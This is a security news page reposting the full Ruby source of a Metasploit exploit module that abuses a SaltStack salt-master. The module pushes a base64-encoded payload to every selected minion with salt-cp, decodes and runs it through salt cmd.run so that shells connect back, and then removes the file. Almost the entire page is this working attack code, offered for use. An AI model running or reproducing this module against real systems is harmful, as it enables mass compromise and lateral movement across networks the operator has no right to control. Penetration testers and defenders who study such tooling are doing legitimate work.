Security
Headlines
HeadlinesLatestCVEs

Headline

Saltstack Minion Payload Deployer

This Metasploit exploit module uses saltstack salt to deploy a payload and run it on all targets which have been selected (default all). Currently only works against nix targets.

Packet Storm
#linux#git#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = GoodRanking  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Exploit::Local::Saltstack  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Saltstack Minion Payload Deployer',        'Description' => %q{          This exploit module uses saltstack salt to deploy a payload and run it          on all targets which have been selected (default all).          Currently only works against nix targets.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'c2Vlcgo'        ],        'Platform' => [ 'linux', 'unix' ],        'Stance' => Msf::Exploit::Stance::Passive,        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'References' => [],        'DisclosureDate' => '2011-03-19', # saltstack salt original release date        'DefaultTarget' => 0,        'Passive' => true, # this allows us to get multiple shells calling home        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]        }      )    )    register_options [      OptString.new('SALT', [true, 'salt-master executable location', '']),      OptString.new('MINIONS', [true, 'Minions Target', '*']),      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),      OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]),      OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),      OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),      OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120])    ]  end  def salt_master    return @salt if @salt    [datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec|      next unless executable?(exec)      @salt = exec      return @salt    end    @salt  end  def list_minions_printer    minions = list_minions    return if minions.nil?    tbl = Rex::Text::Table.new(      'Header' => 'Minions List',      'Indent' => 1,      'Columns' => ['Status', 'Minion Name']    )    count = 0    minions['minions'].each do |minion|      tbl << ['Accepted', minion]      count += 1    end    print_good(tbl.to_s)    # https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017    print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")    Rex.sleep(10)    count  end  def check    return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?    CheckCode::Vulnerable('salt-master executable found')  end  def exploit    # Make sure we can write our exploit and payload to the local system    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']    count = 1 # default to running if we decide not to calculate    count = list_minions_printer if datastore['CALCULATE']    fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0    payload_name = rand_text_alphanumeric(5..10)    # due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899    upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)    print_status('Copying payload to minions')    cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")    print_status('Executing payloads')    cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")    # stolen from exploit/multi/handler    stime = Time.now.to_f    timeout = datastore['ListenerTimeout'].to_i    loop do      break if timeout > 0 && (stime + timeout < Time.now.to_f)      Rex::ThreadSafe.sleep(1)    end  end  def on_new_session(_session)    super    cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')    begin      print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")      cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")      print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")    rescue StandardError      print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")    end  endend

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution